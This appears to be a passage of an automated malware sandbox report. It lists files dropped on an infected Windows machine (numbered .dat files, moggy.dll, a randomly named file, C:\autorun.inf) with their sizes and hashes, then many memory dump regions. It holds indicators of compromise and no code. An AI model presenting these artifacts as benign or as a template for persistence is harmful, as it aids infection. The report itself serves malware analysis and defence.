c22574fe36609bb5a57bc718c9ab4fc93cacfaf522fad2e18b752921a2ce9b98

SHA512
edd4fcebb5c1f78e51bca012d5bdc99e52c38e0aefc9a76ef5e1d97e82c10f1411d9fa9cf2bcfda2fcc1f407d2cdd72a36485aa83aa5411875f2ad1b62d89591

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Media Player\LocalMLS_3.wmdb

Filesize
68KB

MD5
cbab3970a1a39afd96811e2ed6e10551

SHA1
c8c45fc2e9b37c952289b9ce892cde58cdf216cc

SHA256
81bffc41ae4367f90876e0570ccc3ef354c8541a63aa45a5d9c22dd902f13405

SHA512
15949bca3e351982f8bcac97a8c4a0e9730f70a2fac13779ff38a20d04cb29de7c10601d7c276aa618e0ddc7e0a9ebf39222d9f47250c663f384eeb3d3fa8e0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.DTD

Filesize
498B

MD5
90be2701c8112bebc6bd58a7de19846e

SHA1
a95be407036982392e2e684fb9ff6602ecad6f1e

SHA256
644fbcdc20086e16d57f31c5bad98be68d02b1c061938d2f5f91cbe88c871fbf

SHA512
d618b473b68b48d746c912ac5fc06c73b047bd35a44a6efc7a859fe1162d68015cf69da41a5db504dcbc4928e360c095b32a3b7792fcc6a38072e1ebd12e7cbe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML

Filesize
9KB

MD5
7050d5ae8acfbe560fa11073fef8185d

SHA1
5bc38e77ff06785fe0aec5a345c4ccd15752560e

SHA256
cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b

SHA512
a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

Download Submit
C:\Users\Admin\AppData\Local\Temp\wmsetup.log

Filesize
1KB

MD5
b659f1a4d2a75ac854bc59ee0df8f269

SHA1
b2df30a1741e4e63ff20e951a9206a6471621a83

SHA256
68b89269e0d9eac8c9541e056e761b596d76357ec77f567d98eacea95ae5cf6e

SHA512
2328cd12dad266269453fb2d93ab94ab9f269365a7c30fb258e827d96638b72cd7dc69c3351aacd7fa538a5e98b84ba58d417cd4f7c2182271979b506c6a3ca1

Download Submit
C:\Users\Admin\AppData\Roaming\0.dat

Filesize
1B

MD5
cfcd208495d565ef66e7dff9f98764da

SHA1
b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

SHA256
5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

SHA512
31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

Download Submit
C:\Users\Admin\AppData\Roaming\1.dat

Filesize
25KB

MD5
212ddd77efd824768ef4988e5ace6cce

SHA1
a4075151428b170d8413960d948165ef501871dd

SHA256
c301e161d731d051c30e1b66c8cd9dd1fde1f5fac84895aa55c527bbed92dc41

SHA512
7b17253f1c8f37c68e00cf6830c1a62c5fd6617a22c5594ecc76787bef26f0d4632a1a5f3ded86b225ca9270d314f2465037e0c06597e19b3ecd90ab544d896f

Download Submit
C:\Users\Admin\AppData\Roaming\2.dat

Filesize
219B

MD5
3676ba592a32bb9434599226129d6825

SHA1
8f0612c1bcd02447b2e71268f704fed6d8b94e18

SHA256
416ae91ed63c27575f531034919192d8f5263c525c05a775d0948c55f5b43437

SHA512
39033c35de4d495584e2d8be606f58e5a07acb4c6f426a757a9f16c1b1ff8015fc9898aee8acd12aa5b768dfdff49e510f4573d48cb2ab08b13b7f2d2eb8a813

Download Submit
C:\Users\Admin\AppData\Roaming\3.dat

Filesize
34KB

MD5
5a630ca16e715633272d3994d4cfe79d

SHA1
bc3f62845989685321dfdf568c338103d3fa1e8c

SHA256
9a081ff2756d1b9b08538402a2f40b69f86d51b0a305f6d2c2ff29a0496f837e

SHA512
0c75b1cff44bf25d234ab072d8dbc488c67bf3610a9be2d1b58c49ede29bf092d015cc79f62545043abdcc3e5aa3798149d40b8210d274c9743bf3b24a36262e

Download Submit
C:\Users\Admin\AppData\Roaming\4.dat

Filesize
535B

MD5
9cac34f332cf836e17fc2f2fa2bb71e4

SHA1
d18afa52aeb5e2aa2c6d42bba50a0f7c9910dfb8

SHA256
a1454355e66bc7f6d45301b83b1bbfd8b6aa5fd8c53c283f3ae10aba3d8950a7

SHA512
b9ab7e6f465c6bcdfca25cd5e3f169771106e70cde4e946d887efc2676558b07eab1a0626b998406262f191f63e782a1a43bcf1e0654a1d7d98995deac534a1b

Download Submit
C:\Users\Admin\AppData\Roaming\5.dat

Filesize
441B

MD5
fa19559081b4ab5f084f93e66a9d42be

SHA1
8359e8bfe26390bb9bf36a553d0a59c0db711007

SHA256
b23940134fec85d6d0fa7e02e737a9e1ec046a05714b190fb4e70e97b96b989b

SHA512
345427a14b9544b8f811017363f8ca9a9f30be2783b7aeb0a1f145c3eadbe73fda7e20276087d4e0cbabd6dff9898ea49cbb23fca5f0875ef1dfc348822102cd

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85t3rifc.default-release\prefs.js

Filesize
8KB

MD5
d186b58050ce0ec5d862397b481c64e2

SHA1
6e9a2e459640029e3faeca4cc0d27494c7401d12

SHA256
c045027d3f2655a999a4419fb1cf4cfce02c920d9fd019cef65287040eef9aa4

SHA512
3e165b242a196ed3ed74aee030add9faf1848756f330b98ff2fd8aca00fb7114e67ecc060c444145a80b995b3ab0958125cb10565d6c7ed0b214e0f31d820d79

Download Submit
C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS

Filesize
315KB

MD5
2590fd6e112931b0defac0686d5c268e

SHA1
cb0663525cc8286d9cba4fa642ca12de55eb9155

SHA256
66244c2be9f38702ccb106a5e2e43114f9e113d6ebe2d474e74181afb1490377

SHA512
8d41b9e75d8d9424c7452a4449fadf23117b0de04855679df14ef744f1417850ed8a3831750310ae42d1f932249cc1a6d607be046eceb6ed0cd82e065f306374

Download Submit
C:\Users\Admin\AppData\Roaming\moggy.dll

Filesize
191KB

MD5
11115f56c2ed3c465cb00b2d70281aaf

SHA1
a42e36c46bc69a1ce9bb87ef97c262f2d0ac0cb7

SHA256
af12acbb0d9e9d74a3f0fa0cd9483020592e277ce5392ec9521e79957043074d

SHA512
4caa106ee5008a35350af729ce53f1568df7c9658af6b0dda6e2678a37d33cbf1e460269b94495624b44c0ad4e3fb9c098fb5b346241eedf2819aedf0ad758c6

Download Submit
C:\autorun.inf

Filesize
63B

MD5
f64baf418f685884efec59a9d80bc5f6

SHA1
9c90f7a7efd7ef3059837fdeb06b6b781ca6d1e9

SHA256
4b9870b1f52e252451b3fa099e8b270c32ddc6fc29372067be28dcd009ec4e8f

SHA512
dceecd6a564c974c71ceeb544b0dfde70a09315db6d72a50fdbecdc0cf505a7ce52b7a83a9a8c79e8cfbb996c054585da6d7c08bf0026b4d9ecdde5f0a2b2a69

Download Submit
memory/1216-4-0x0000000010000000-0x000000001005E000-memory.dmp

Filesize
376KB

Download
memory/3396-98-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-105-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-76-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-77-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-78-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-82-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-81-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-80-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-79-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-83-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-84-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-85-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-86-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-88-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-90-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-89-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-91-0x0000000007EB0000-0x0000000007EC0000-memory.dmp

Filesize
64KB

Download
memory/3396-93-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-94-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-95-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-96-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-74-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-97-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-100-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-99-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-102-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-101-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-103-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-104-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-75-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-109-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-108-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-107-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-106-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-110-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-111-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-112-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-113-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-118-0x0000000007EB0000-0x0000000007EC0000-memory.dmp

Filesize
64KB

Download
memory/3396-117-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-116-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-115-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-120-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-121-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-122-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-123-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-124-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-125-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-127-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-126-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-128-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-72-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-73-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-71-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-70-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-69-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-68-0x00000000080D0000-0x00000000080E0000-memory.dmp

Filesize
64KB

Download
memory/3396-67-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-66-0x00000000080C0000-0x00000000080D0000-memory.dmp

Filesize
64KB

Download
memory/3396-63-0x0000000007EB0000-0x0000000007EC0000-memory.dmp

Filesize
64KB

Download